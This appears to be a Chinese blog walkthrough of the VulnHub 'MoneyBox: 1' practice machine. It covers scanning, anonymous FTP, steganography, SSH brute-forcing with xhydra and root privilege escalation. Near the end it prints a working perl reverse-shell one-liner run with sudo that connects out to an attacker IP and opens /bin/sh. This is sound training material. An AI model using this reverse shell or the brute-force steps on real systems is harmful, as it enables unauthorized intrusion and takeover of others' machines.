今天的博客内容MONEYBOX: 1教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索MONEYBOX: 1就能下载今天的靶场了,也可以找我拿,话不多说进入今天的靶场学习
目录
直接在vbox导入就可以,如果提示不能打开新任务,就把启用usb控制器关掉就可以
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我
可以看到,我这里kali的ip是192.168.249.230,而靶机打开后是一个登录页面,此时我们连靶机的ip也不知道,既然要对目标进行渗透,首先就要找到目标的ip
1.ip探测
因为我们两台机器的网络连接都使用的桥接模式,所以是处于同一网段的,我们直接用kali自带的nmap工具扫描该网段下的所有主机,扫描结果如下:
可以看到有两个结果,其中一个开启了80端口,访问和验证后可以发现这就是我们的目标靶场,即192.168.249.229,这里探测出了三个端口,我们就可以先尝试从这三个端口入手,再用nmap详细扫描一下目标端机器
可以看到这里扫描到了三个端口的很多信息,而且还扫描到了21端口的ftp允许匿名登录,
2.ftp服务探测
FTP的匿名登录一般有三种: 1、 用户名:anonymous 密码:Email或者为空 2、 用户名:FTP 密码:FTP或者为空 3、 用户名:USER 密码:pass
这里很明显就是第一种了 ,我们直接尝试登录目标的ftp服务,账号为annonymous,密码直接为空试试(这里还可以使用工具直接爆破ftp的账密,比如超级密码爆破工具,PortBrute-master等工具都可以)
如上可以看到我们成功登录了对方的ftp服务,我们ls查看一下有什么东西
可以看到有一个名为trytofind.jpg的图片,我们使用下面这个命令把他下载到根目录
get trytofind.jpg
这种图片文件出现在靶场之中一般都伴随着隐写术的使用,所以我们直接使用steghide这款开源的隐写工具来查看这个图片的详细信息 ,kali自带(如果没有的话就输入steghide他会问你是否下载,按f即可)
输入steghide命令使用info参数查看图片
steghide info trytofind.jpg
查看结果如下:
这里提示需要密码,我们刚才并没有看到密码,说明信息应该在另外的两个端口上,这个端口就先暂停探索了
3.http服务探测
恰好刚才也探测到了http服务的80端口,说明搭建了网页服务,我们直接通过访问目标ip来访问该页面我,访问结果如下:
目标网页如上,首先页面上没有明显的提示信息,老规矩就该打开开发者页面,但是也没有有用的信息,所以此时我们就该考虑敏感目录收集了,我们直接用kali自带的dirsearch目录爆破工具探测目录,具体命令如下
dirsearch -u "192.168.249.229" -e *
扫描结果如下:
扫描结果可以看得到大部分页面的响应码都是403,即禁止访问,而那个200就是刚才我们探测的主页面,并没有什么信息,但是这里还有一个blogs文件,反应码是301,跟其他的不一样,我们也尝试访问一下
可以看到我们在 blogs这个页面的开发者审查元素处找到了作者给的提示,这就是我们需要的信息
这段英文的意思是说还有个叫S3cr3t-T3xt的隐藏目录 ,那我们顺藤摸瓜,继续访问
这里我们成功拿到如下的秘钥
3xtr4ctd4t4
因为前面那里我们查看图片信息不是需要密码吗,我们正好拿这个秘钥去试试,输入密码后成功读取到是数据,再通过以下操作拿到信息
steghide extract -sf trytofind.jpg、
得到的信息如下
通data文件获得的信息,我们可以获得两个信息
第一:目标用户名为renu
第二:目标的密码是弱密码
4.ssh服务探测
既然是弱密码,那我们直接尝试爆破,这里我们使用xhydra(九头蛇)爆破工具,使用该工具只需要在终端输入xhydra即可进入到该工具,接下来跟我一样的配置,当然target的目标ip得看你们自己的情况来改
因为我们要尝试通过ssh登录对方机器,所以爆破的端口和服务选22和ssh
而且因为我们这里已经知道了对方的用户名为renu,所以我们就不需要爆破账号了,只需要添加密码字典即可
注意,这里的密码我用的是kali自带的密码,kali自带的密码有很多,都在usr/share/wordlists/matasploit 这个文件夹中,在里面随便选中一个就可以了
最后的tuning和specific就不用配置了,直接进入start板块,点击右下角的start即可开始爆破,爆破结果如下
根据扫描后的结果可以看到,成功爆破出密码,密码为987654321,这里我们直接尝试ssh远程登录
可以看到这里我们已经成功登录对方主机,第一个flag就在user.txt中,我们也是成功拿到
1.ssh公钥登录
这里我们直接尝试了sudo提权,但是失败了,老样子用history命令看一下历史命令,大多数靶场的提权方法都藏在历史命令中,查看结果如下:
这里我们看到了ssh-keygen-id命令,这是创建秘钥对(即公钥和私钥)的命令,关于ssh的公钥和秘钥,如果想要详细了解的同学可以点此查看我推荐的博客 ,里面对公钥和私钥讲的都比较清楚和浅显
这里我也给大家简单介绍一下ssh的公钥和私钥,我们平时(例如刚才我们登录renu时)用ssh配合密码远程登录的方法叫做ssh的口令登录,但这种方法每次都需要输入密码,所以就有了所谓的公钥登录,具体登录流程如下,这里附上一张dontla老哥的图,大家可以简单看一下:
这样就可以实现ssh的无需密码登录了,那现在我们再来分析一下我们看到的历史命令中的这些命令的作用
2.历史命令分析
这样是不是就清晰多了,这里说明我们想要的信息应该还在lily这个用户里,我们也需要登录到目标用户,这里我们直接尝试跟他一样的命令,输入
ssh lily@192.168.43.80
发现并不能登录,此时再仔细看看,有一段命令引起了我的注意
再在这里它进入了家目录再进入了lily,说明了什么?说明这台机器上也有一个lily用户, 那有没有可能,这个lily就是本机的用户?而且这个192.168.43.80就是当时的本机的ip?那我们不妨尝试一下用127.0.0.1替换192.168.43.80,我们直接试试,结果如下
可以看到成功登录,而且第二个flag在这这个lily的用户下,我们成功拿到(小有成就感,给自己点个赞)
3.提权实操
接下来又到了每个靶场的结尾环节,也是每个靶场的重头戏,提权操作,老样子,先输入sudo -l查看一下能sudo能使用的命令,因为这代表可以不要密码使用管理员权限运行,而且这也是靶场拿到普通权限最常用的操作,因为作者一般都会给你留几个特别有用的,查看结果如下:
你看这里探测出了perl有sudo的权限,脑海中是不是顿时思路就有了,即perl反弹shell,我们直接上网搜个脚本,将里面反弹的ip改成我们kali攻击机的ip就行了,把脚本也写在这里,你们用着能方便一点,当然网上还有很多
sudo perl -e 'use Socket;$i="192.168.5.5";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
注意:这里一定要把ip改成自己kali的ip(即$i变量),不然接收不到,接收的端口(即$p变量)这里我设置的5555,你们也可以自己设,反正设哪个待会kali就监听哪个就可以了 ,而且命令的最前面一定要加sudo,不然返回的就只是lily的权限,我在这卡了好久。。。
我们在kali用nc监听5555端口
再操纵目标机器执行上面的脚本
此时再来看看接收到的结果,结果如下:
可以看到这里成功登录,并且whoami查看之下我们此时为root权限,最后一个flag在/root下的.root.txt,而且是个隐藏文件,使用ls -a才能看到,记住这个.root.txt前面的点,不然就会像我一样提示找不到文件
今日份靶场通关,若果你也看到了这里说明你也很棒哦,有什么不懂的或者想讨论的可以评论或私信,都会回
同学们也都要加油哇,最后,感谢大家的阅读,让我们明天再见,respect!